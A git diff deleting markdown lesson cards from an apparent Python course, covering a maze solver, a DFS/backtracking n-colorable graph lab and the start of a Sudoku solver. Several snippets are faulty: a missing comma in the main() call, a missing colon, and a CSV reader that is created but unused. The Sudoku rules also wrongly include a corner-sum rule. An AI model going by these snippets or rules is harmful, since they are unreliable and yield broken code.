-When you are done, get yourself some ice-cream.
-
-Congratulations! You have written a Maze Solver using Stack!~
\ No newline at end of file
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/61.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/61.md
deleted file mode 100644
index 950188a5..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/61.md
+++ /dev/null
@@ -1,10 +0,0 @@
-
-
-
-
-
-
-We should first start by defining the files that we want to load.
-
-Then we load the files, print the map of the maze, solve maze, and print the grid, "Done".
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/611.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/611.md
deleted file mode 100644
index c9b1182e..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/611.md
+++ /dev/null
@@ -1,36 +0,0 @@
-
-
-
-
-
-
-Main function contains the following steps:
-
-Define files:
-
-```python
- mazeFile = "maze.txt"
- doneFile = "done.txt"
-```
-
-Load files:
-
-```python
- maze= loadFile(mazeFile)
- done= loadFile(doneFile)
-```
-
-Print Maze and solve maze:
-
-```python
- printGrid(maze)
- solveMaze(maze)
-```
-
-Print Done:
-
-```python
- print("\n")
- printGrid(done)
-```
-
diff --git a/Module4_Labs/Lab5_nColorable/Cards/1.md b/Module4_Labs/Lab5_nColorable/Cards/1.md
deleted file mode 100644
index 9fe1ff63..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/1.md
+++ /dev/null
@@ -1,45 +0,0 @@
-
-
-
-
-
-
-The n-Colorable problem is a famous problem in graph theory. The goal is to color the vertices of an undirected graph such that no two vertices with the same color are connected by an edge. The catch is that you only have `n` colors. Obviously, we would assume that `n` is smaller than the number of nodes in the graph, otherwise it wouldn't be a problem. If a graph can be colored in this way using only `n` colors, we say that the graph is n-colorable. The variable `n` is chosen by the user.
-
-
-
-The goal of this lab is to create a program that implements the n-Colorable problem. The user provides a CSV file that contains an adjacency matrix that represents the graph. The program must convert this CSV file into a 2D list representation of the adjacency matrix. The program will ask the user for the **number of vertices** in the graph and **n**.
-
-
-
-The program will assign **colors 1:n** to each vertex in the graph. The element colors[`i`] will return the color assigned to vertex `i` in the graph.
-
-
-
-**Hint:** the algorithm to solve this problem will take advantage of **Depth First Search** (DFS) and **Backtracking Search**. You may want to brush up on these topics before attempting to complete this lab.
-
-
-
-#### Sample Input/Output:
-
-An adjacency matrix has a 1 at index `i`, `j` if there is an edge between vertex `i` and vertex `j` on the graph.
-
-
-
-For the graph above (assuming it is undirected), the CSV file should contain:
-
-0,1,1,0
-
-1,0,0,1
-
-1,0,0,1
-
-0,1,1,0
-
-The user inputs **2** for n.
-
-The **output **should be:
-
-**1 2 2 1**
-
-In other words, nodes `1` and `4` will have one color, and nodes `2` and `3` will have the other color. This color assignment was made because none of the nodes with the same color have an edge between them. Thus, this sample graph is n-colorable.
\ No newline at end of file
diff --git a/Module4_Labs/Lab5_nColorable/Cards/11.md b/Module4_Labs/Lab5_nColorable/Cards/11.md
deleted file mode 100644
index af21fdfa..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/11.md
+++ /dev/null
@@ -1,25 +0,0 @@
-
-
-
-
-
-
-This lab will require you to use **Depth First Search** and **Backtracking Search** to solve the n-Colorable problem. Therefore, we will briefly review both of these concepts.
-
-#### Depth First Search (DFS)
-
-In **DFS** or **depth first search**, we start at a root node in our graph (this can be *the* root node, but also the root of any subtree), and traverse down a single branch to find our target node. If we don't find it, we traverse down the other branch. If we still don't find it, we pick one of the root's children to be the new root node and restart the process. We can perform our search in different orders just as with traversal, namely **preorder**, **inorder**, or **postorder**.
-
-How do you think we can use **DFS** in our solution to the n-Colorable problem?
-
-
-
-
-
-#### Backtracking Search
-
-With **backtracking search**, we solve the problem recursively, but when a solution does not satisfy the conditions of our problem, we remove it from consideration at that point in time. In other words, we try every single possible attempt at solution, and discard all the failures until we arrive at an answer that works.
-
-How do you think we can apply this logic of **backtracking search** into our solution to the n-Colorable problem to quicken our process of assigning colors to vertices?
-
-
\ No newline at end of file
diff --git a/Module4_Labs/Lab5_nColorable/Cards/111.md b/Module4_Labs/Lab5_nColorable/Cards/111.md
deleted file mode 100644
index 068dc8b1..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/111.md
+++ /dev/null
@@ -1,20 +0,0 @@
-
-
-
-
-
-
-In the algorithm, we can use **DFS** to inspect all of the nodes in our graph and assign a color to each node. In order to speed up the process, we can use **Backtracking Search**. Backtracking search will keep track of which colors are valid for a specific vertex. A color is valid if no nodes connected to it already have that same color. If no possible color can be assigned to a vertex (no valid color exists for this node), the program will determine that the graph is not n-colorable.
-
-Let's see this in action with the graph we saw earlier:
-
-
-
-In this case, `n` = 2, and we picked red and blue as our colors. Let's walk through step by step to see how this assignment was eventually reached. Assume we used a preorder search pattern. We first assigned a color to `1`. Let's assume that we attempt to assign blue first, red second as colors. Since this was the first node, we had no problem assigning blue to it. We then moved onto `2`.
-
-Here is where backtracking search came in. We first checked to see if we can assign blue as its color. We cannot! `2` is connected to `1`, which is blue, and thus we have to assign `2` to be red. We now moved on to `4`.
-
-We attempt to assign blue to `4`. No problem! It is not connected to any blue nodes, and so we can assign its color to be blue. At this point, we have finished traversing `1`'s left tree, so we moved on to its right. We looked at `3` now.
-
-Can we assign blue to `3`? No, for the same reason as `2`. Since `3` is connected to `1`, which was assigned the color blue, we have to assign to be red. We then move on to `4`, but wait! We already assigned this node its color. At this point, DFS has completed traversing the graph, which means we have solved the problem, and shown that this graph is n-colorable!
-
diff --git a/Module4_Labs/Lab5_nColorable/Cards/2.md b/Module4_Labs/Lab5_nColorable/Cards/2.md
deleted file mode 100644
index 0487c7d0..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/2.md
+++ /dev/null
@@ -1,21 +0,0 @@
-
-
-
-
-
-
-The first task to designing our program is to create a function `fileReader()` that reads the user-provided CSV file which contains the adjacency matrix. The function should place the content into a 2D list structure. The CSV file should look very similar in format to the table below:
-
-
-
-#### Sample CSV File:
-
-0,1,0,1
-
-1,0,1,0
-
-0,1,0,1
-
-1,0,1,0
-
-As you can see, our sample CSV provides the exact same information as present in our table. Each node has its own line, and the relationship between nodes (whether they are connected or not) are separated by commas.
\ No newline at end of file
diff --git a/Module4_Labs/Lab5_nColorable/Cards/21.md b/Module4_Labs/Lab5_nColorable/Cards/21.md
deleted file mode 100644
index 40c44038..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/21.md
+++ /dev/null
@@ -1,18 +0,0 @@
-
-
-
-
-
-
-You must initialize a list for the graph that will become our 2D list adjacency matrix. For now, you can simply put:
-
-```Python
-graph = []
-```
-
-Then use the content of the CSV file to fill out the 2D list. Append each row into the graph list you just initialized. Remember that the values are separated by commas, and you must read in the values, and not the commas.
-
-**Hint:** You can use Python's `split()` function to remove certain characters from a string.
-
-To illustrate what this means with our previous example, you would need to convert the sample CSV file into the table that we saw. This table will be assigned to `graph`.
-
diff --git a/Module4_Labs/Lab5_nColorable/Cards/211.md b/Module4_Labs/Lab5_nColorable/Cards/211.md
deleted file mode 100644
index 20924e58..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/211.md
+++ /dev/null
@@ -1,28 +0,0 @@
-
-
-
-
-
-
-We must read each row in the CSV file in a for loop and separate the integer values from the commas. We then must place each row of the CSV file into our adjacency graph. Here's the code to do so.
-
-```Python
-#Open file as a csvfile
-with open(filename) as csvfile:
- csv_reader = csv.reader(csvfile, delimiter=",")
-
- # Parse through csvfile by line (which are the rows of the adjacency matrix in our case)
- for row in csvfile:
- # Make a list of ints from the current row in the csv file by splitting the numbers from the ,
- rowNums = [int(x) for x in row.split(',') if x.strip().isdigit()]
-
- # Place the list of ints we just made into our 2D list graph
- graph.append(rowNums)
-
-```
-
-Don't forget to import the CSV package at the top of your file.
-
-```Python
-import csv
-```
diff --git a/Module4_Labs/Lab5_nColorable/Cards/3.md b/Module4_Labs/Lab5_nColorable/Cards/3.md
deleted file mode 100644
index f661aaa3..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/3.md
+++ /dev/null
@@ -1,20 +0,0 @@
-
-
-
-
-
-
-Now that we have our 2D list adjacency matrix from the CSV file, we need to create a list to keep track of the color assignments of each vertex. You can use a function `initColors()` to do so.
-
-
-
-
-
-
-
-#### Sample Colors List:
-
-This list will look similar to the one we saw in a previous example:
-
-
-
diff --git a/Module4_Labs/Lab5_nColorable/Cards/31.md b/Module4_Labs/Lab5_nColorable/Cards/31.md
deleted file mode 100644
index 83d40132..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/31.md
+++ /dev/null
@@ -1,13 +0,0 @@
-
-
-
-
-
-
-Since we will have color assignments to all vertices, we must initialize a colors list that is numVertices long. It is okay to initalize the list to all 0s because we will be changing them later on in the program anyway. In other words, using our sample list:
-
-
-
-
-
-In order to create this list, we first need to determine its length. That's easy, its `4` as that was the number of nodes in our example graph. We would then have needed to initialize all values in the created list to `0` before populating them later with the values you see above.
\ No newline at end of file
diff --git a/Module4_Labs/Lab5_nColorable/Cards/311.md b/Module4_Labs/Lab5_nColorable/Cards/311.md
deleted file mode 100644
index 076d4431..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/311.md
+++ /dev/null
@@ -1,19 +0,0 @@
-
-
-
-
-
-
-`initColors()` simply initializes a list colors that holds numVertices 0s and returns the list. Here is the code that allows us to do that:
-
-```Python
-def initColors(numVertices):
- colors = [0] * numVertices
- return colors
-```
-
-This would create the following list:
-
-
-
-We would have received `numVertices` from either the length or width of our `graph` list that we created earlier.
\ No newline at end of file
diff --git a/Module4_Labs/Lab5_nColorable/Cards/4.md b/Module4_Labs/Lab5_nColorable/Cards/4.md
deleted file mode 100644
index b3f4a491..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/4.md
+++ /dev/null
@@ -1,10 +0,0 @@
-
-
-
-
-
-
-Since we have created our adjacency matrix and a colors list, the next step is to create the function that does the coloring of the vertices, the `graphColoring()` function. You may want to call other functions within `graphColoring()` to make your code more readable. You can use **DFS** to inspect the vertices of the graph and **Backtracking Search** to make the process quicker in some cases.
-
-
-
diff --git a/Module4_Labs/Lab5_nColorable/Cards/41.md b/Module4_Labs/Lab5_nColorable/Cards/41.md
deleted file mode 100644
index 74192ff2..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/41.md
+++ /dev/null
@@ -1,8 +0,0 @@
-
-
-
-
-
-
-Before we get into the functions that will assign the colors, it is a good idea to build a function that when given a certain vertex and color, it checks whether or not that vertex can be assigned that color. To do so, it must check whether the vertices it's connected to already have that color assignment. Try building a `checkVertex()` function. This function will allow us to implement backtracking search in `graphColoring()`.
-
diff --git a/Module4_Labs/Lab5_nColorable/Cards/411.md b/Module4_Labs/Lab5_nColorable/Cards/411.md
deleted file mode 100644
index c3977fca..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/411.md
+++ /dev/null
@@ -1,17 +0,0 @@
-
-
-
-
-
-
-You'll be giving the `checkVertex()` function the adjacency matrix graph, current index of the node you're inspecting, the colors vector, the color you want to assign to the current index, and the number of vertices. We will look at all the entries in the current index's row in the adjacency matrix and look for a 1. If we see a 1, that means that the current index's vertex is connected to another vertex, so we check if that connected vertex has the color assignment that we want to give to the current vertex. If we get through the entire current index's row without satisfying both of these conditions, it is safe to assign the color to the current vertex and we return True. The code is much more concise than the explanation. Let's check it out:
-
-```Python
-def checkVertex(graph, curIndex, colors, color, numVertices):
- for i in range(0,numVertices):
- if graph[curIndex][i] == 1 and colors[i] == color:
- return False
-
- return True
-```
-
diff --git a/Module4_Labs/Lab5_nColorable/Cards/42.md b/Module4_Labs/Lab5_nColorable/Cards/42.md
deleted file mode 100644
index 8bd8c37b..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/42.md
+++ /dev/null
@@ -1,13 +0,0 @@
-
-
-
-
-
-
-In this function, you will be using **DFS** to inspect all of the graph's vertices, and you will be using **Backtracking Search** to tell if a certain vertex does not have a valid color. If that is the case, the function will return `False` to main.
-
-Since we want to use **Backtracking Search** in our algorithm, our `graphColoring()` function could take advantage of our previously constructed function `checkVertex()` to check if there is a valid color for the vertex currently being inspected. If there is not a valid color, `graphColoring()` should acknowledge this and return `False` so that `main()` quickly knows that the graph is not n-Colorable.
-
-Also, don't forget to do your color assigning to vertices in the colors list.
-
-Note that you may find recursion helpful for this part (DFS).
\ No newline at end of file
diff --git a/Module4_Labs/Lab5_nColorable/Cards/421.md b/Module4_Labs/Lab5_nColorable/Cards/421.md
deleted file mode 100644
index f4bbd65e..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/421.md
+++ /dev/null
@@ -1,31 +0,0 @@
-
-
-
-
-
-
-Here is the Python implementation of the `graphColoring()` function:
-
-```Python
-def graphColoring(graph, n, colors, curIndex, numVertices):
- #Base Case: return True once at last row of graph
- if curIndex == numVertices:
- return True
-
- # for loop that goes from 1 to n. Which is one loop per color in colors
- for i in range(1, n+1):
- #Call checkVertex on the currentColor to see if the current vertex can have that color
- if checkVertex(graph, curIndex, colors, i, numVertices) == True:
- # If previous condition holds, assign color i to the current vertex
- colors[curIndex] = i
- # Now that we've assigned the color i to current vertex, recursively call graphColoring() on the next vertex
- if graphColoring(graph, n, colors, curIndex + 1, numVertices) == True:
- return True
- colors[curIndex] = 0
- #Returns false if no color can be assigned to a specific vertex. This is part of backtracking search
- return False
-```
-
-
-
-Note the recursive usage of **DFS** and **backtracking search** being implemented by returning `False` if no color can be assigned to a vertex.
\ No newline at end of file
diff --git a/Module4_Labs/Lab5_nColorable/Cards/5.md b/Module4_Labs/Lab5_nColorable/Cards/5.md
deleted file mode 100644
index b33a40b9..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/5.md
+++ /dev/null
@@ -1,13 +0,0 @@
-
-
-
-
-
-
-The `main()` function of your program should ask the user for input for the number *n* in the n-colorable problem. It should then call the proper functions with the proper arguments.
-
-```Python
-def main():
- # Insert your code here
-```
-
diff --git a/Module4_Labs/Lab5_nColorable/Cards/51.md b/Module4_Labs/Lab5_nColorable/Cards/51.md
deleted file mode 100644
index 365601bb..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/51.md
+++ /dev/null
@@ -1,8 +0,0 @@
-
-
-
-
-
-
-Since the `main()` function drives the functionality of your program, it must ask the user for the previously mentioned input, call `initColors()` to get the colors, and print the color assignments, if they exist, once `graphColoring()` is done running. Make sure you don't forget to include some of the `main()` functionality.
-
diff --git a/Module4_Labs/Lab5_nColorable/Cards/511.md b/Module4_Labs/Lab5_nColorable/Cards/511.md
deleted file mode 100644
index dfb79853..00000000
--- a/Module4_Labs/Lab5_nColorable/Cards/511.md
+++ /dev/null
@@ -1,32 +0,0 @@
-
-
-
-
-
-
-The `main()` function is responsible for calling all the appropriate functions and getting user input. Here is a proper implementation of the `main()` function:
-
-```Python
-def main():
- # Call fileReader() function to get 2D list graph
- graph = fileReader("test.csv")
-
- # Get numVertices by getting length of graph
- numVertices = len(graph)
-
- # Get user input for n
- n = int(input("Enter n: "))
-
- # Call initColors() to initialize colors list
- colors = initColors(numVertices)
-
- #Call the graphColoring() function and if it returns false, that means that the graph can't be colored
- if graphColoring(graph, n colors, 0, numVertices) == False:
- print("Graph cannot be colored")
- else:
- print("The color assignments are: ")
- for color in colors:
- print(color)
-```
-
-Note that your `main()` function may not look exactly like this. That is okay. Just make sure that your code has all the desired functionality for the program to work correctly. Also note that the file with the adjacency matrix provided by the user is called `test.csv` in this case.
\ No newline at end of file
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/1.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/1.md
deleted file mode 100644
index 19adff5b..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/1.md
+++ /dev/null
@@ -1,54 +0,0 @@
-
-
-
-
-
-
-# Introduction
-
-For this lab, we will be building a **Sudoku solver** in python. For those unfamiliar with the game, there are many resources on the web with information on the rules, and how to play. The basic rules of Sudoku can be expressed as this: Each row, column, and nonet can contain each number (typically 1 to 9) exactly once and the sum of all numbers in any nonet, row, or column must match the small number printed in its corner; for traditional Sudoku puzzles featuring the numbers 1 to 9, this sum is equal to 45.
-
-
-
-
-
-
-Your Sudoku Solver should be able to take an unfinished "Sudoku board", represented as a 9x9 2-D list solve the puzzle, and output a finished board in the same format.
-
-For our program, this is how the initial board should look like:
-
-```python
- 9 4 _ | _ 2 _ | 7 _ _ # the underscores (_) represent
- _ _ 1 | _ _ 4 | _ _ 9 # blanks/empty on the Sudoku board
- _ _ 6 | _ _ _ | 1 2 _
- ------|-------|-------
- _ _ _ | _ _ 3 | _ 1 _
- 1 _ _ | _ _ _ | _ _ 8
- _ 7 _ | 5 _ _ | _ _ _
- ------|-------|-------
- _ 8 7 | _ _ _ | 2 _ _
- 6 _ _ | 9 _ _ | 3 _ _
- _ _ 9 | _ 8 _ | _ 5 7
-```
-This grid above would correspond to a 2-D list that looks like this:
-
-```python
-grid = [[9,4,0,0,2,0,7,0,0], [0,0,1,0,0,4,0,0,9], [0,0,6,0,0,0,1,2,0], [0,0,0,0,0,3,0,1,0],[1,0,0,0,0,0,0,0,8], [0,7,0,5,0,0,0,0,0], [0,8,7,0,0,0,2,0,0], [6,0,0,9,0,0,3,0,0], [0,0,9,0,8,0,0,5,7]]
-```
-
-#### Printing the Grid
-
-We will first start off by implementing the `printGrid()` function which will accept a 9x9 2-D list (as seen as `grid` above) and printing it to the screen.
-
-**Note** that the `grid` contains 0 which doesn't exist in Sudoku, however it represents a blank/empty spot in our Sudoku board. Thus, you will have to handle this case by converting the 0's to an under score (`_`) before printing the board.
-
-Also notice that the Sudoku board is broken into 9 quadrants where each quadrant is a 3x3 containing 9 numbers. We want to retain this Sudoku board format so you must use pipes (`|`) to separate the column quadrants and dashes (`-`) to separate the row quadrants.
-
-For a starting point, this process will consist of starting at the top of the sudoku board and printing each row as you generate and format the rows moving down the board.
-
-First we will simply start by defining our function which accepts a grid:
-
-```python
-def printGrid(grid):
-```
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/11.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/11.md
deleted file mode 100644
index 455e1b9c..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/11.md
+++ /dev/null
@@ -1,25 +0,0 @@
-
-
-
-
-
-
-# printGrid()
-
-Now remember that our grid is a 2-D list formatted as a 9x9 which means that we have a list containing 9 lists that each have 9 numbers. Thus, we will need a **nested for-loop** which consists of two **for-loops** and two variables for **indexing**: one variable to iterate through the lists in `grid`, and another variable to iterate through the elements in the each list within `grid`.
-
-```python
-def printGrid(grid):
- for row_index,row in enumerate(grid):
- rowString = ""
- # do formatting here
- for index,element in enumerate(row):
- # do formatting here
- print(rowString)
-```
-
-> Note: we use `enumerate()` instead of `range()` because it allows us to iterate through our grid using a **tuple**, where one variable represents the index and another variable represents the value at that index.
-
-In the first for-loop,`row_index` will be used to iterate through the rows (`row`) in our `grid`. In the second for-loop, `index` will be used to iterate through each `row` and `element` corresponds to the value at `index`.
-
-Within each for-loop, all that's left is a series of if/if-else statements with logic that will be used to format the Sudoku board to be printed. At the end of each `row` we generate, we then print `rowString` to progressively print out our board row by row.
\ No newline at end of file
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/111.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/111.md
deleted file mode 100644
index 8bc5cf12..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/111.md
+++ /dev/null
@@ -1,50 +0,0 @@
-
-
-
-
-
-
-# printGrid()
-
-Within our first for-loop, we are iterating through the rows (`row`) via `row_index` in our `grid`, thus we will need to append `"------|-------|-------"` for every three rows to format our row quadrants which is accomplished via this if-statement:
-
-```python
-if row_index % 3 == 0 and row_index != 0:
- print("------|-------|-------")
-```
-
-
-
-Then for our second for-loop, we are iterating through the values (`element`) in each `row` via `index` which requires us to store the `element` into `rowString`, replaces zeros with underscores `"_"` and appending the pipe `"|"` for every 3 values:
-
-```python
- for index,element in enumerate(row):
- if index % 3 == 0 and index != 0:
- rowString += "| "
- if element == 0:
- rowString += "_ "
- else:
- rowString += str(element) + " "
-```
-
-
-
-In the end, our final `printGrid()` function will then look like this!
-
-```python
-# Prints out a formatted version of the current grid
-def printGrid(grid):
- for row_index,row in enumerate(grid):
- rowString = ""
- if row_index % 3 == 0 and row_index != 0:
- print("------|-------|-------")
- for index,element in enumerate(row):
- if index % 3 == 0 and index != 0:
- rowString += "| "
- if element == 0:
- rowString += "_ "
- else:
- rowString += str(element) + " "
- print(rowString)
-```
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/2.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/2.md
deleted file mode 100644
index 19817be6..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/2.md
+++ /dev/null
@@ -1,50 +0,0 @@
-
-
-
-
-
-
-# isValid() Function
-
-Write the `isValid()` function- which will be used to check if the user's inputted Sudoku board is valid by verifying there are no duplicate values in any rows and columns. The function will take in one argument which will be the user's initial Sudoku board that we will define as `grid`. Remember that `grid` is a 2-D list that contains 9 lists with 9 elements in each list.
-
-Here is an example of a valid grid that would return True from `isValid()`:
-
-```python
- 9 4 _ | _ 2 _ | 7 _ _
- _ _ 1 | _ _ 4 | _ _ 9
- _ _ 6 | _ _ _ | 1 2 _
- ------|-------|-------
- _ _ _ | _ _ 3 | _ 1 _
- 1 _ _ | _ _ _ | _ _ 8
- _ 7 _ | 5 _ _ | _ _ _
- ------|-------|-------
- _ 8 7 | _ _ _ | 2 _ _
- 6 _ _ | 9 _ _ | 3 _ _
- _ _ 9 | _ 8 _ | _ 5 7
-```
-
-
-
-Here is an example of an invalid grid that would return False from `isValid()`:
-
-```python
- 3 _ _ | _ _ _ | _ _ _
- 6 _ _ | 1 _ _ | _ _ 4
- _ 9 _ | _ 3 3 | 2 5 _
- ------|-------|-------
- _ 9 _ | 2 _ _ | _ _ _
- 1 _ _ | _ _ 6 | 3 _ _
- _ 7 _ | _ _ _ | _ 1 _
- ------|-------|-------
- _ 1 2 | _ 8 7 | _ _ _
- 4 _ _ | 6 _ _ | 9 _ _
- _ _ _ | _ 9 _ | _ 8 _
-```
-
-> 3's in the same row at [2, 4] and [2, 5] and 9's in same column at [2, 1] and [3, 1].
-
-
-
-
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/21.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/21.md
deleted file mode 100644
index 8271fc2f..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/21.md
+++ /dev/null
@@ -1,61 +0,0 @@
-
-
-
-
-
-
-# isValid() Function
-
-Starting off with the function definition accepting the `grid` as an argument, we will have:
-
-```python
-def isValid(grid)
-```
-
-Now since we know that we need to check if there are no repeats in any rows or columns within `grid`, we will need two nested for-loops: one to check that all rows contain no repeats and another to check that all columns contain no repeats. If both nested for-loops iterate through the grid successfully, then the grid is deemed valid so return True.
-
-```python
-def isValid(grid)
- for row in grid:
- for i in row:
- # implement logic here to check for repeats in all rows
-
- for c in range(0,9):
- for r in range (0,9):
- # implement logic here to check for repeats in all columns
-
- return True
-```
-
-
-
-For the first nested for-loop, the outer-loop iterates through each `row` in `grid` :
-
-```python
-for row in grid:
-```
-
-and then the inner-loop iterates through each element `i` in `row`:
-
-```python
-for i in row:
-```
-
-This is because each of the 9 lists inside of `grid` represents each `row`, and thus you can simply iterate through the elements in a `row` to make comparisons for checking repeated values.
-
-
-
-Now notice that for the second nested for-loop, we are iterating through `range(0,9)`, which is looping from 0 to 9, in both inner and outer loops. This is because we must iterate through each `row` at the same index in order to compare the elements within the same column since our `grid` is a list of rows.
-
-```python
-for c in range(0,9):
- for r in range (0,9):
-```
-
-For example, if we check all the values for the first column (`c == 0`), we will iterate through the rows (`r`) from `0-9`.
-
-
-
-Here's a sample representation of how the rows and columns are within a 3x3 2-D list similar to `grid`:
-
-
\ No newline at end of file
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/211.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/211.md
deleted file mode 100644
index e8d2f85d..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/211.md
+++ /dev/null
@@ -1,89 +0,0 @@
-
-
-
-
-
-
-# isValid() Function
-
-For our first nested for-loop, we will define an empty list called `found` within the outer-loop:
-
-```python
- # Check that all rows contain no repeats
- for row in grid:
- found = []
- for i in row:
-```
-
-As we iterate through the elements within a row, we will store the elements into `found` to determine if any of the remaining elements in that row exists in `found` already- which indicates that there is a repeated value in that row.
-
-```python
- # Check that all rows contain no repeats
- for row in grid:
- found = []
- for i in row:
- if i in found:
- return False
- if i != 0:
- found.append(i)
-```
-
-Within the inner-loop, we check if `i`, the current element in `row`, exists inside of `found` as stated earlier. If `i` is indeed inside of `found`, then we return False to indicate that there was a repeated value in the row. Otherwise, we append element `i` into `found` if `i != 0` (because we do not want to care to append blank/empty spaces).
-
-
-
-Now moving onto the next nested for-loop to check for repeated values in columns, we will also intialize an empty list `found` for the same reason as implemented above.
-
-```python
- # Check that all columns contain no repeats
- for c in range(0,9):
- found = []
- for r in range(0,9):
-```
-
-
-
-Then we will use `i` to assign to `grid[r][c]` in order to iterate through all the values within each column to check for repeats. If `i` (the value within a particular column `c`) is not in `found` and does not equal to 0 (a empty space), then we will append the value to `found`.
-
-```python
- # Check that all columns contain no repeats
- for c in range(0,9):
- found = []
- for r in range(0,9):
- i = grid[r][c]
- if i in found:
- return False
- if i != 0:
- found.append(i)
-
- return True
-```
-
-
-
-At last, we have our final function `isValid()`:
-
-```python
-def isValid(grid):
- # Check that all rows contain no repeats
- for row in grid:
- found = []
- for i in row:
- if i in found:
- return False
- if i != 0:
- found.append(i)
-
- # Check that all columns contain no repeats
- for c in range(0,9):
- found = []
- for r in range(0,9):
- i = grid[r][c]
- if i in found:
- return False
- if i != 0:
- found.append(i)
-
- return True
-```
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/3.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/3.md
deleted file mode 100644
index 2078ba6d..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/3.md
+++ /dev/null
@@ -1,39 +0,0 @@
-
-
-
-
-
-
-# Working Within a Box
-
-For the game Sudoku, we must make sure that within each box, there is no repeats. This means that the numbers 1-9 should only appear once within each box. A single box is represented in this picture below:
-
-
-
-We will write the function `box()` which determines all the elments that are not currently within a box.
-
-This function will take in 3 arguments:
-
- the grid (`grid`)
-
-row index (`r_i`)
-
-column index (`c_i`)
-
-Keep in mind that there are a total of 9 elements within a box that is formatted in a 3x3 structure. `box()` should return a list that will contain all the numbers (anywhere from 1-9) that do not already exist in a particular box.
-
-For example, the function header for `box()` will be:
-
-```python
-def box(grid, r_i, c_i):
-```
-
-
-
-Considering a box contains the elements 1, 3, 9, 4, and 5; then a sample list returned from `box()` would look like:
-
-```python
-elements = [2, 6, 7, 8]
-```
-
-> Note: rememeber that we will neglect 0's since they represent blanks
\ No newline at end of file
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/31.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/31.md
deleted file mode 100644
index 890f8d19..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/31.md
+++ /dev/null
@@ -1,54 +0,0 @@
-
-
-
-
-
-
-# Working Within a Box
-
-We will initialize a list called `elems` which will be a list that contains the elements 1-9 such that `elems = [1, 2, 3, 4, 5, 6, 7, 8, 9]`. We will do so by defining `elems` as seen below:
-
-```python
-def box(grid,r_i,c_i):
- elems = list(range(1,10))
-```
-
-The reason being that we have this list `elems` which contains the numbers 1-9, is because since each box in a Sudoku board can only contain numbers from 1-9 without repeats, we will remove the values in `elems` that exist in the specified box. Thus, returning `elems` will provide a list of numbers that are still needed within the box to fill in for the empty elements.
-
-Now remember, since a box consists of 3 rows and 3 columns comprising 9 values, we will need a nested for-loop. So now you must be wondering- what is the range for iterating through our for-loops? The possible values passed in for `r_i` and `c_i` are in `range(0,3)` which implies that it can be any number from 0, 1, or 2. This is the case because the box is a 3x3 segment in our 9x9 Sudoku board. There are a total of 9 boxes within the Sudoku board. Thus, the range for our for-loops we be defined as such:
-
-```python
- for r in range(r_i*3,r_i*3+3):
- for c in range(c_i*3,c_i*3+3):
-```
-
-
-
-Now consider we want to check the first box (the top left box in a Sudoku board). The values of `r_i` and `c_i` passed into the function would be 0 and 0. If we plug that into our for-loops we would look like this:
-
-````python
- for r in range(0*3,0*3+3):
- for c in range(0*3,0*3+3):
-````
-
-We could see that for `r` and `c` we would loop from 0 to 2 which would cover all the elements within the first box: (0,0), (0,1), (0,2), (1,0), (1,1), (1,2), (2,0), (2,1), and (2,2). Remember that `range(0,3)` means we iterate from 0 to 2, not 0 to 3.
-
-
-
-Our function will now look like this thus far:
-
-```python
-# This returns all elements in a given box
-def box(grid,r_i,c_i):
- elems = list(range(1,10))
- for r in range(r_i*3,r_i*3+3):
- for c in range(c_i*3,c_i*3+3):
- # implement logic in here
-```
-
-All we need to do left is to implement the logic inside our nested for-loop to remove the elements in our `elems` list that exist in the box.
-
-
-
-
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/311.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/311.md
deleted file mode 100644
index 4ef0fdc0..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/311.md
+++ /dev/null
@@ -1,39 +0,0 @@
-
-
-
-
-
-
-# Working Within a Box
-
-With our nested for-loop mechanism to iterate through all the elements inside a specified box, we just need to append all non-zero elements into `elems`. So we will first use a variable `e` which we will denote as the current element we are indexed at in a box:
-
